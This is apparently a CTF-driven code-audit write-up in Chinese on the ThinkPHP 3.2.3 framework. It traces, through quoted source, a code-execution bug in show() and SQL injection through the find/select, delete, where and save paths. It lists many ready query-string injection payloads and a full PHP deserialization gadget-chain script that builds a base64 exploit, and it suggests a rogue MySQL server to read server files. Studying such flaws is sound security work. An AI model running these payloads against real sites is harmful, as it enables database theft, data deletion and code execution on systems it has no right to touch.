ThinkPHP3.2.3代码审计
写在前面
刚好CTFSHOW做到ThinkPHP代码审计的部分了,以前也没尝试审计过这种完整的框架,只会照着成品Payload瞎打,这里就审计下ThinkPHP3.2.3的那些利用点,总结一下(部分内容并不是完全挖掘,只是跟着别的师傅的路线走了一遍Orz)。
审计
- show方法导致的代码执行 / Payload
- select/find方法导致的SQL注入 / Payload
- delete方法导致的SQL注入 / Payload
- where与find方法组合导致的SQL注入 / Payload
- where与save方法组合导致的SQL注入 / Payload
- 反序列化链 / Payload
show方法在ThinkPHP/Library/Think/Controller.class.php中被定义
此处参数$content可控即可使得show方法实现代码执行。
跟进display方法。
跟进display方法中的72行,在此参数$content会被解析。
在117-127行参数$content被具体处理,根据配置TMPL_ENGINE_TYPE的不同会使用不同的引擎,最终在129获取到解析后结果,在133行被返回输出。
先看ctfshow题目中对应的TMPL_ENGINE_TYPE='php'配置的情况。
以参数$content值为hello为例,122行处eval对应输出为
所以构造参数$content值为<?php Payload_Code?>样式的代码即可实现show方法导致的命令执行。
再看TMPL_ENGINE_TYPE为其他值的情况(实际上划分为了think和第三方两种)。
参数$content被组合进数组$params,并在126行进行进一步处理。
跟进,注意到在在89行数组params被调用。
119行处数组params被进一步调用,跟进。
引擎在这里被进一步细分为think和第三方两种,这里不讨论第三方。
根据缓存的是否有效分别会加载缓存或模板文件,而缓存是否有效与show方法传入的参数$content的值有关,第一次传入时因为不存在对应缓存(缓存无效)会加载模板并生成对应的缓存接着再加载,在第二次传入时由于已存在对应缓存便会直接加载缓存。
从结果上来看两者是等效的,两种情况最终会调用28行的load方法(不代表传入的参数的情况完全如28行中所示)来加载缓存文件。
令show方法传入参数$content的值为<?php phpinfo();?>为例并进入缓存无效的情况,审计生成缓存过程中涉及传入内容处理的相关代码。
直接跟进到解析的部分,此处的$tmplContent即为传入的内容,126行-134行简略来说对传入内容进行了PHP代码优化、Lirertal标签替换等,但不影响PHP代码解析(但是会增加可解析的形式,这一点会在给出的Payload中体现)。
最终解析完成并在load方法中include的内容如下(通常来说并不会触发exit)。
TMPL_ENGINE_TYPE=Think/php
<?php Payload_Code ?> <?= Payload_Code ?>
TMPL_ENGINE_TYPE=Think
<php>Payload_Code</php> <php>Payload_Code<php>
select和find方法在漏洞结构上相似,所以放在一起分析,这里以find为主。
页面配置:
数据库配置:
以test库test表为对象。
ThinkPHP中对应配置:
先看I函数对获取传入的值进行的相关逻辑。
先对过滤方式进行设定,这里的DEFAULT_FILTER对应值为htmlspecialchars。
之后会调用$filter对应方式对值处理一遍,但由于默认用htmlspecialchars,所以实际上并没有影响。
之后存在基于指定类型的强制类型转换,但此处$type值默认情况下为字符型,所以并不会有影响。
最后存在一处正则过滤,当用I方法获取的值为数组时会触发过滤。
但是仔细观察过滤采用的正则表达式可以注意到,采用的关键字并不是针对于SQL注入设置的,并且设定了以匹配字符串开头并结尾,这使得这样的过滤方式可以轻易的被绕过。
总结下来I函数涉及到了3处改动,但3处改动对其数值并不产生影响。
再看看find函数的相关逻辑。
先对传入值$option的结构进行修改,如果传入值为字符串或者数字串会和数据表中索引组成where数组再存入$option中。
接下来在748对$option进行进一步分析,跟进。
648行处基本来说,当$option中where为数组便能进入条件;652和653检测where中的键是否对应数据表中的字段,对数值进行处理是在654行,跟进。
总的来说时根据数据表中字段的类型对where进行相应类型转换,所以当数据表索引为非字符串且使用正常流程时,这里的类型转换会过滤掉诸如1' or '1'#等注入语句。
以上完成后返回到find方法,459行处涉及SQL语句构建,跟进。
945行构建SQL语句,946行执行构造好的语句,跟进945。
965行处构造,跟进。
其中传入的$sql值为。
此处进行SQL模板语句替换实际值,有多处可以进行拼接形成SQL注入(也就是find方法SQL注入的问题集中区),以where部分为例,跟进983行的解析。
protected function parseWhere($where) { $whereStr = ''; if(is_string($where)) { // 直接使用字符串条件 $whereStr = $where; }else{ // 使用数组表达式 $operate = isset($where['_logic'])?strtoupper($where['_logic']):''; if(in_array($operate,array('AND','OR','XOR'))){ // 定义逻辑运算规则 例如 OR XOR AND NOT $operate = ' '.$operate.' '; unset($where['_logic']); }else{ // 默认进行 AND 运算 $operate = ' AND '; } foreach ($where as $key=>$val){ if(is_numeric($key)){ $key = '_complex'; } if(0===strpos($key,'_')) { // 解析特殊条件表达式 $whereStr .= $this->parseThinkWhere($key,$val); }else{ // 查询字段的安全过滤 // if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){ // E(L('_EXPRESS_ERROR_').':'.$key); // } // 多条件支持 $multi = is_array($val) && isset($val['_multi']); $key = trim($key); if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段 $array = explode('|',$key); $str = array(); foreach ($array as $m=>$k){ $v = $multi?$val[$m]:$val; $str[] = $this->parseWhereItem($this->parseKey($k),$v); } $whereStr .= '( '.implode(' OR ',$str).' )'; }elseif(strpos($key,'&')){ $array = explode('&',$key); $str = array(); foreach ($array as $m=>$k){ $v = $multi?$val[$m]:$val; $str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')'; } $whereStr .= '( '.implode(' AND ',$str).' )'; }else{ $whereStr .= $this->parseWhereItem($this->parseKey($key),$val); } } $whereStr .= $operate; } $whereStr = substr($whereStr,0,-strlen($operate)); } return empty($whereStr)?'':' WHERE '.$whereStr; }
当where为字符串时直接进行了拼接,并且考虑分析可以发现前面相关代码大多在where为数组时才会执行,所以构造如?id[where]=payload便可以一路畅通到此处实现SQL注入语句拼接。
需要注意此处存在第二种payload,同样采用了直接拼接,简单可用,需要满足20行条件,跟进22行。
628行条件对应逻辑最为简单,最终构造成的语句为651行格式,相较于一般payload仅多了1对括号需要闭合,即构造?id[where][_string]=payload即可。
来审计table部分,在拼接前和table值有关的代码为。
审计发现可以通过?id[table]=payload格式传入,随后直到进行SQL语句替换时才会产生数值变化,跟进。
数组格式和字符串table值都最终经过一次parseKey函数处理后被返回,显然选择字符串格式,跟进parseKey函数。
不符合条件时table值便会被一对`包裹,但是此处判断条件十分宽松,基本上来说table值中包含一个空格便能绕过,而payload中基本少不了空格,所以?id[table]=payload只需要加上注释符#便完全可用。
再看看field部分,field相对简单,在解析前没有涉及到其值的处理,而在解析时使用的过滤接近于无(expolode函数返回的数组默认数字下标,此处仅有非数字下标对应值进行添加as处理)。
相当于仅在拼接解析时使用了上述同样的parseKey函数,所以也可以构造?id[field]=payload来执行。
force部分相对鸡肋,虽然在替换前没有对其值修改的代码,但是由于SQL语法本身的,使用force构造必须要已知查询表中的索引字段,否则会报错;如果不知道,或者未设置索引字段则无法使用。
即?id[force]=索引) payload使用。
审计join部分,同样在拼接时才存在处理。
由于采用了implode函数展开join的值,所以传入时需要进一步的创建数组,即?id[join][]=payload。
审计group部分。
需要已知数据表中任意一字段,并且由于被加上前缀'GROUP BY',可以联合查询,考虑到回显不可见建议写入文件或者报错注入,当然盲注也是可行的(虽然慢),即?id[group]=字段名 payload。
审计having部分。
同group部分。
审计order部分。
需要注意order by语句后面无法实现联合查询,所以使用逻辑判断进行报错注入或者盲注,如构造group by id and 1=extractvalue(0x7e,version()),所以?id[group]=逻辑符号 payload。
审计limit部分,在find方法里面有一条。
所以直接对limit无论传入什么值最终都会被覆盖掉,但是在随后代码中对limit部分根据$option中page的值进行了更改。
可以按照?id[page][]=1&?d[page][]=1 payload的格式来插入代码,但是需要注意limit的注入方式仅能采用procedure analyse结构,并且使用限于5.0.0< MySQL <5.6.6版本。
后面的其他部分由于find方法固定赋值$options['limit'] = 1,在单个部分注入情况下由于语法结构便无法实现注入(当然可以考虑多个部分注入将limit部分用注释符包裹)。
现在来总结下可使用的部分,默认情况(不传任何值使用find方法)下最终执行(拼接出)的SQL语句为。
有3个在默认情况下参与了SQL(或者说替换时的返回值不为空)语句拼接。
fileld部分为*,table部分为`test`,limit部分为LIMIT 1,进行SQL语句拼接时应该注意保证最终SQL语句语法正常。
有9个部分能够单独(不需要与其他部分组合使用)实现SQL语句的拼接,为:
field table force join where group having order limit
以审计的配置列出的如下对应payload。
field部分
#注:请保证以,为分割payload,保证分割得到的每一部分均含有至少一个空格(或其他parseKey中匹配的字符),否则该部分会被一对`包裹;并且需要知道目标数据库中至少1个数据表 #联合查询 ?id[field]=* from test union select 1, 2 %23 #报错 ?id[field]=1 , extractvalue(0x7e, concat(0x7e, version())) from test %23 #逻辑判断 ?id[field]=* from test where 1=1 %23
table部分
#注:请保证以,为分割payload,保证分割得到的每一部分均含有至少一个空格(或其他parseKey中匹配的字符),否则该部分会被一对`包裹;并且需要知道目标数据库中至少1个数据表 #联合查询 ?id[table]=test union select 1, 2 %23 #报错 ?id[table]=test where extractvalue(0x7e, concat(0x7e, version())) %23 #逻辑判断 ?id[table]=test where 1=1 %23
force部分
#注:审计环境设置的索引为字段id,使用payload时请修改为对应的索引,在未知索引或不存在索引的情况下无法使用 #联合查询 ?id[force]=id) union select 1,2 %23 #报错 ?id[force]=id) where extractvalue(0x7e,concat(0x7e,version())) %23 #逻辑判断 ?id[force]=id) where 1=1 %23
join部分
#联合查询 ?id[join][]=union select 1,2 %23 #报错 ?id[join][]=where extractvalue(0x7e,concat(0x7e,version())) %23 #逻辑判断 ?id[join][]=where 1=1 %23
where部分
#第一种payload #联合查询 ?id[where]=1=1 union select 1,2 %23 #报错 ?id[where]=extractvalue(0x7e,concat(0x7e,version())) %23 #逻辑判断 ?id[where]=1=1 %23 #第二种payload #联合查询 ?id[where][_string]=1=1) union select 1,2 %23 #报错 ?id[where][_string]=extractvalue(0x7e,concat(0x7e,version()))) %23 #逻辑判断 ?id[where][_string]=1=1) %23
group部分
#注:需要已知所查数据表中任意一字段名 #联合查询 ?id[group]=id union select 1,2 %23
having部分
#注:需要已知所查数据表中任意一字段名
#联合查询 ?id[having]=id union select 1,2 %23 #逻辑判断 ?id[having]=1=1 %23
order部分
#报错 ?id[order]=extractvalue(0x7e,concat(0x7e,version())) %23 #逻辑判断 ?id[order]=1=1 %23
limit部分
#限于5.0.0< MySQL <5.6.6版本才能使用 #报错 ?id[page][]=1&id[page][]=1 procedure analyse(extractvalue(0x7e,concat(0x7e, version())),number) %23
由于delete语句本身语法的限制,所以无法实现联合查询,所以相对来说注入点少一些。
页面配置如下,其余配置一样。
开始审计delete逻辑。
public function delete($options=array()) { $pk = $this->getPk(); if(empty($options) && empty($this->options['where'])) { // 如果删除条件为空 则删除当前数据对象所对应的记录 if(!empty($this->data) && isset($this->data[$pk])) return $this->delete($this->data[$pk]); else return false; } if(is_numeric($options) || is_string($options)) { // 根据主键删除记录 if(strpos($options,',')) { $where[$pk] = array('IN', $options); }else{ $where[$pk] = $options; } $options = array(); $options['where'] = $where; } // 根据复合主键删除记录 if (is_array($options) && (count($options) > 0) && is_array($pk)) { $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) $count++; } if ($count == count($pk)) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } // 分析表达式 $options = $this->_parseOptions($options); if(empty($options['where'])){ // 如果条件为空 不进行删除操作 除非设置 1=1 return false; } if(is_array($options['where']) && isset($options['where'][$pk])){ $pkValue = $options['where'][$pk]; } if(false === $this->_before_delete($options)) { return false; } $result = $this->db->delete($options); if(false !== $result && is_numeric($result)) { $data = array(); if(isset($pkValue)) $data[$pk] = $pkValue; $this->_after_delete($data,$options); } // 返回删除记录个数 return $result; }
需要注意2-45行对$option数组携带的数据结构进行处理,其中38行使用了同样的_parseOptions解析$option,39-42限定$option数组中where键对应的值不能为空;50行处拼接SQL语句并执行,跟进50行。
拼接过程中采用的解析函数与上文的select/find方法中一致,同样分析单个输入(由于where为必要所以不算作一输入)情况下可用的内容(已分析过代码内容且没有变化的方法不再展示)。
limit部分。
和select/find方法中的区别在于,在 delete方法中少了默认值处理等代码,仅有如下。
故直接使用?id[where]= &id[limit]=payload即可。
comment部分。
在select/find方法中由于默认拼接SQL语句的限制,所以无法使用,但在delete这里可用的。可以构造?id[where]= &id[comment]=payload即可([where]=后有1空格)。
以审计的配置列出的如下对应payload,需要注意由于是在delete语句上注入,所以要注意语句正常执行时导致的数据删除操作,避免使用payload时将所需数据误删。
table部分
#报错 ?id[where]= &id[table]=test where extractvalue(0x7e, concat(0x7e, version())) %23 #逻辑判断 ?id[where]= &id[table]=test where 1=1 %23
where部分
#报错 ?id[where]=extractvalue(0x7e,concat(0x7e,version())) %23 #逻辑判断 ?id[where]=1=1 %23
order部分
#报错 ?id[where]=1!=1&id[order]=extractvalue(0x7e, concat(0x7e, version())) %23 #逻辑判断 ?id[where]=1!=1&id[order]=1=1 %23
limit部分
#限于5.0.0< MySQL <5.6.6版本才能使用 #报错 ?id[where]=1!=1&id[order]=extractvalue(0x7e, concat(0x7e, version())) %23
comment部分
#报错 ?id[where]= &id[comment]=*/extractvalue(0x7e,concat(0x7e, version())) %23 #逻辑判断 ?id[where]= &id[comment]=*/1=1 %23
页面配置如下:
其余配置和上文中的delete方法导致的SQL注入一样。
where方法的SQL注入实际上和select/find方法的注入相似,可以说where方法实际上是select/find方法注入中的一种特殊情况。
按照页面配置,此处大部分代码均不会执行,正常逻辑下仅仅会执行1813-1814行讲传入值赋值给本类的options中的where键对应值,最终返回当前类本身。
接下来执行find方法,这里的find与前文分析一致,但此处为无参调用,跟进到变化之处。
因为是无参调用,所以直到进入_parseOptions方法前,$options中仅有limit这一键值(默认赋值);进入后会将$options进行数组合并,即前面where中的赋值的值再赋值给$options。
在这里可以看出我们的输入最终只能对where部分产生影响,所以最终我们的payload也就仅限于对where部分,故接下来仅注意与where部分相关的代码,跟进直到了SQL语句拼接部分。
由于此时传入的where的值为数组,所以和select/find方法审计中的经过的处理不同,此处依次为:
主要解析逻辑还是546行,跟进。
protected function parseWhereItem($key,$val) { $whereStr = ''; if(is_array($val)) { if(is_string($val[0])) { $exp = strtolower($val[0]); if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算 $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]); }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找 if(is_array($val[1])) { $likeLogic = isset($val[2])?strtoupper($val[2]):'OR'; if(in_array($likeLogic,array('AND','OR','XOR'))){ $like = array(); foreach ($val[1] as $item){ $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item); } $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')'; } }else{ $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]); } }elseif('bind' == $exp ){ // 使用表达式 $whereStr .= $key.' = :'.$val[1]; }elseif('exp' == $exp ){ // 使用表达式 $whereStr .= $key.' '.$val[1]; }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算 if(isset($val[2]) && 'exp'==$val[2]) { $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1]; }else{ if(is_string($val[1])) { $val[1] = explode(',',$val[1]); } $zone = implode(',',$this->parseValue($val[1])); $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')'; } }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算 $data = is_string($val[1])? explode(',',$val[1]):$val[1]; $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]); }else{ E(L('_EXPRESS_ERROR_').':'.$val[0]); } }else { $count = count($val); $rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; if(in_array($rule,array('AND','OR','XOR'))) { $count = $count -1; }else{ $rule = 'AND'; } for($i=0;$i<$count;$i++) { $data = is_array($val[$i])?$val[$i][1]:$val[$i]; if('exp'==strtolower($val[$i][0])) { $whereStr .= $key.' '.$data.' '.$rule.' '; }else{ $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' '; } } $whereStr = '( '.substr($whereStr,0,-4).' )'; } }else { //对字符串类型字段采用模糊匹配 $likeFields = $this->config['db_like_fields']; if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) { $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%'); }else { $whereStr .= $key.' = '.$this->parseValue($val); } } return $whereStr; }
可以看到24行和53行均使用了直接拼接并且没有其他字符的干扰,并且分析逻辑可以发现53行的处理的情况实际上是24行套了一层数组下的情况。
其共同点均为对应所在数组第一个值为字符串'exp',从5和24行、52行可以看出。
所以可以构建payload如?id[]=exp&id[]=payload或?id[0][]=exp&id[0][]=payload。
但需要指出的时在后者payload中需要对括号进行闭合,这一点从58行可以见到。
单层数组
#联合查询 ?id[]=exp&id[]==1 union select 1,2 %23 ?id[0]=exp&id[1]==1 union select 1,2 %23 #报错 ?id[]=exp&id[]==extractvalue(0x7e,concat(0x7e,version())) %23 ?id[0]=exp&id[1]==extractvalue(0x7e,concat(0x7e,version())) %23 #逻辑判断 ?id[]=exp&id[]==1 and 1=1 %23 ?id[0]=exp&id[1]==1 and 1=1 %23
双层数组
#联合查询 ?id[0][]=exp&id[0][]==1) union select 1,2 %23 ?id[0][0]=exp&id[0][1]==1) union select 1,2 %23 #报错 ?id[0][]=exp&id[0][]==extractvalue(0x7e,concat(0x7e,version())) ?id[0][0]=exp&id[0][1]==extractvalue(0x7e,concat(0x7e,version())) #逻辑判断 ?id[0][]=exp&id[0][]==1 and 1=1 ?id[0][0]=exp&id[0][1]==1 and 1=1
页面配置如下:
其余配置与上文一样。
此处where与上文中的where和find方法组合导致的SQL注入中相同,不再分析。
开始分析save方法。
public function save($data='',$options=array()) { if(empty($data)) { // 没有传递数据,获取当前数据对象的值 if(!empty($this->data)) { $data = $this->data; // 重置数据 $this->data = array(); }else{ $this->error = L('_DATA_TYPE_INVALID_'); return false; } } // 数据处理 $data = $this->_facade($data); if(empty($data)){ // 没有数据则不执行 $this->error = L('_DATA_TYPE_INVALID_'); return false; } // 分析表达式 $options = $this->_parseOptions($options); $pk = $this->getPk(); if(!isset($options['where']) ) { // 如果存在主键数据 则自动作为更新条件 if (is_string($pk) && isset($data[$pk])) { $where[$pk] = $data[$pk]; unset($data[$pk]); } elseif (is_array($pk)) { // 增加复合主键支持 foreach ($pk as $field) { if(isset($data[$field])) { $where[$field] = $data[$field]; } else { // 如果缺少复合主键数据则不执行 $this->error = L('_OPERATION_WRONG_'); return false; } unset($data[$field]); } } if(!isset($where)){ // 如果没有任何更新条件则不执行 $this->error = L('_OPERATION_WRONG_'); return false; }else{ $options['where'] = $where; } } if(is_array($options['where']) && isset($options['where'][$pk])){ $pkValue = $options['where'][$pk]; } if(false === $this->_before_update($data,$options)) { return false; } $result = $this->db->update($data,$options); if(false !== $result && is_numeric($result)) { if(isset($pkValue)) $data[$pk] = $pkValue; $this->_after_update($data,$options); } return $result; }
14行进行了数据处理,跟进。
实际上根据先前的页面配置,此处最终只会执行275行,而_parseType中并没有对字符串类型做解析,所以实际上是返回原本的值,回到save方法。
21行执行了_parseOptions方法,和上文where和find方法组合导致的SQL注入中一样,$options和本垒的$options属性值合并。
之后需要注意的地方只有56行了,跟进。
对应前面页面配置,此处相关执行的只有896行和900行,而896行与900行的注入方式相同,并且900行已经审计过,这里以896行为例子先介绍注入方法。
因为输入采用了I函数来获取,所以自然373行出判断条件无法构造通过,无法执行对应语句,这里的目标代码是381至384行。
381行$this->bind为空,$name值为0;382$set新增一以键值,记住这个包含冒号值特殊格式;对383行跟进。
本类的bind的属性新增键值,其键的值为":0",其值的值为我们GET传入的name的值,记住这个格式,这里的键的值为固定的。
回到update方法跟进907行。
public function execute($str,$fetchSql=false) { $this->initConnect(true); if ( !$this->_linkID ) return false; $this->queryStr = $str; if(!empty($this->bind)){ $that = $this; $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind)); } if($fetchSql){ return $this->queryStr; } //释放前次的查询结果 if ( !empty($this->PDOStatement) ) $this->free(); $this->executeTimes++; N('db_write',1); // 兼容代码 // 记录开始执行时间 $this->debug(true); $this->PDOStatement = $this->_linkID->prepare($str); if(false === $this->PDOStatement) { $this->error(); return false; } foreach ($this->bind as $key => $val) { if(is_array($val)){ $this->PDOStatement->bindValue($key, $val[0], $val[1]); }else{ $this->PDOStatement->bindValue($key, $val); } } $this->bind = array(); try{ $result = $this->PDOStatement->execute(); // 调试结束 $this->debug(false); if ( false === $result) { $this->error(); return false; } else { $this->numRows = $this->PDOStatement->rowCount(); if(preg_match("/^\s*(INSERT\s+INTO|REPLACE\s+INTO)\s+/i", $str)) { $this->lastInsID = $this->_linkID->lastInsertId(); } return $this->numRows; } }catch (\PDOException $e) { $this->error(); return false; } }
先看5-7行,且其中主要看为strtr的第二个参数。
array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind)
其逻辑为本类的bind属性依次array_map第一个参数——一个闭包函数处理,而处理的逻辑为用单引号包裹,并使用escapeString方法过滤。
public function escapeString($str) { return addslashes($str); }
接着注意23-29行,此处对本类的bind属性使用了bindValue方法(参考:PHP: PDOStatement::bindValue - Manual)。
简单来说前面构造的SQL中带冒号的特殊格式在此处会按照bind属性中的键值进行一一替换(把:0替换为代码配置处I('GET.name')获取到的值),这种替换规则就是注入点。
折回update方法处900行,分析跟进至where部分的本情况下利用漏洞所在之处。
位于parseWhere方法调用parseWhereItem处。
触发逻辑同上文where与find方法组合导致的SQL注入一样,此处的使用了符号"= :"作为连接符号,构造得当时上面说的bindValue方法同样能对此进行替换,所以我们最终可以构建payload如:?name=任意值&id[]=bind&id[]=payload。
#请注意id传入的第二个值处的逻辑,避免短路逻辑导致后接的SQL语句无法执行 #报错 ?name=任意值&id[]=bind&id[]=0 or extractvalue(0x7e,concat(0x7e,version())) %23 ?name=任意值&id[0]=bind&id[1]=0 or extractvalue(0x7e,concat(0x7e,version())) %23 #逻辑判断 ?name=任意值&id[]=bind&id[]=0 or 1=1 %23 ?name=任意值&id[0]=bind&id[1]=0 or 1=1 %23
入口设置为。
全局搜索 function __destruct( ,所在位置如下:
其中 $this->img 可控,全局搜索 function destroy( ,所在位置如下:
其中 $this->sessionName 可控,而 $sessID 不可控。但需要注意的是PHP5中可以实现函数缺参调用(错误等级为Warning),而PHP7中不行(错误等级为Fatal error),所以需要环境PHP为5才能往下执行。全局搜索 function delete( ,所在位置如下:
public function delete($options=array()) { $pk = $this->getPk(); if(empty($options) && empty($this->options['where'])) { // 如果删除条件为空 则删除当前数据对象所对应的记录 if(!empty($this->data) && isset($this->data[$pk])) return $this->delete($this->data[$pk]); else return false; } if(is_numeric($options) || is_string($options)) { // 根据主键删除记录 if(strpos($options,',')) { $where[$pk] = array('IN', $options); }else{ $where[$pk] = $options; } $options = array(); $options['where'] = $where; } // 根据复合主键删除记录 if (is_array($options) && (count($options) > 0) && is_array($pk)) { $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) $count++; } if ($count == count($pk)) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } // 分析表达式 $options = $this->_parseOptions($options); if(empty($options['where'])){ // 如果条件为空 不进行删除操作 除非设置 1=1 return false; } if(is_array($options['where']) && isset($options['where'][$pk])){ $pkValue = $options['where'][$pk]; } if(false === $this->_before_delete($options)) { return false; } $result = $this->db->delete($options); if(false !== $result && is_numeric($result)) { $data = array(); if(isset($pkValue)) $data[$pk] = $pkValue; $this->_after_delete($data,$options); } // 返回删除记录个数 return $result; }
实际上该部分与前文中 delete方法导致的SQL注入 的 delete 方法是一致的,所以可以借鉴部分分析过程。需要注意到现在为止我们都缺少函数传入的参数(即这里的 $options 值为空),所以需要执行6行处再调用一次delete(这时的 $this->data[$pk] 是可控的),否则会满足39行条件执行41行代码而到达不了50行去执行SQL语句。
随后关于 delete 方式中的可用点不再分析,这里直接跟进其中的执行SQL语句的部分(因为是反序列化链,所以链子中涉及到的类可能并不像服务端一样的初始化,尤其是执行SQL语句首先得连接到数据库,所以有必要审计来正确配置)。
public function execute($str,$fetchSql=false) { $this->initConnect(true); if ( !$this->_linkID ) return false; $this->queryStr = $str; if(!empty($this->bind)){ $that = $this; $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind)); } if($fetchSql){ return $this->queryStr; } //释放前次的查询结果 if ( !empty($this->PDOStatement) ) $this->free(); $this->executeTimes++; N('db_write',1); // 兼容代码 // 记录开始执行时间 $this->debug(true); $this->PDOStatement = $this->_linkID->prepare($str); if(false === $this->PDOStatement) { $this->error(); return false; } foreach ($this->bind as $key => $val) { if(is_array($val)){ $this->PDOStatement->bindValue($key, $val[0], $val[1]); }else{ $this->PDOStatement->bindValue($key, $val); } } $this->bind = array(); try{ $result = $this->PDOStatement->execute(); // 调试结束 $this->debug(false); if ( false === $result) { $this->error(); return false; } else { $this->numRows = $this->PDOStatement->rowCount(); if(preg_match("/^\s*(INSERT\s+INTO|REPLACE\s+INTO)\s+/i", $str)) { $this->lastInsID = $this->_linkID->lastInsertId(); } return $this->numRows; } }catch (\PDOException $e) { $this->error(); return false; } }
跟进第2行初始化。
这里跟进 else 中的1076行。
public function connect($config='',$linkNum=0,$autoConnection=false) { if ( !isset($this->linkID[$linkNum]) ) { if(empty($config)) $config = $this->config; try{ if(empty($config['dsn'])) { $config['dsn'] = $this->parseDsn($config); } if(version_compare(PHP_VERSION,'5.3.6','<=')){ // 禁用模拟预处理语句 $this->options[PDO::ATTR_EMULATE_PREPARES] = false; } $this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options); }catch (\PDOException $e) { if($autoConnection){ trace($e->getMessage(),'','ERR'); return $this->connect($autoConnection,$linkNum); }elseif($config['debug']){ E($e->getMessage()); } } } return $this->linkID[$linkNum]; }
这里就是配置数据库连接设置的地方,在这里配置好后就能按照前面链接到 delete 方法的反序列化链条打。
(借鉴了其他师傅写的Orz)
<?php namespace Think\Db\Driver{ use PDO; class Mysql{ protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true, // 允许读文件 PDO::MYSQL_ATTR_MULTI_STATEMENTS => true // 允许堆叠语句 ); protected $config = array( //配置数据库相关信息 "debug" => 1, "database" => "ctfshow", //注意改数据库名,如果不知道可以直接写mysql "hostname" => "127.0.0.1", "hostport" => "3306", "charset" => "utf8", "username" => "root", "password" => "root" //注意密码,还可能是弱密码123456,甚至其他密码 ); } } namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } } } namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle; public function __construct(){ $this->handle = new Model(); } } } namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null; public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; //设置主键信息 $this->data[$this->pk] = array( "table" => "mysql.user where extractvalue(0x7e,concat(0x7e,version()))#", //如果采用堆叠前面保留mysql.user然后接;和其他语句即可,但别漏了最后的# "where" => " " ); } } } namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick())); } ?>
因为一般我们是不知道服务端数据库配置(账号密码)的也就连不上,所以实际上需要先控制服务端与恶意数据库服务器交互读取到服务端的配置文件,拿到进而再对服务端的数据库连接。
此外还可能出现PHP能够连接上Mysql,但通过命令行无法连接Mysql(如[红明谷CTF 2021]EasyTP),此时可以直接利用PHP代码来连接并查询数据库。
Python的恶意Mysql服务器可以参考:GitHub - MorouU/rogue_mysql_server: A fake MYSQL server can read multiple client files when the client connects.(support python2 and python3).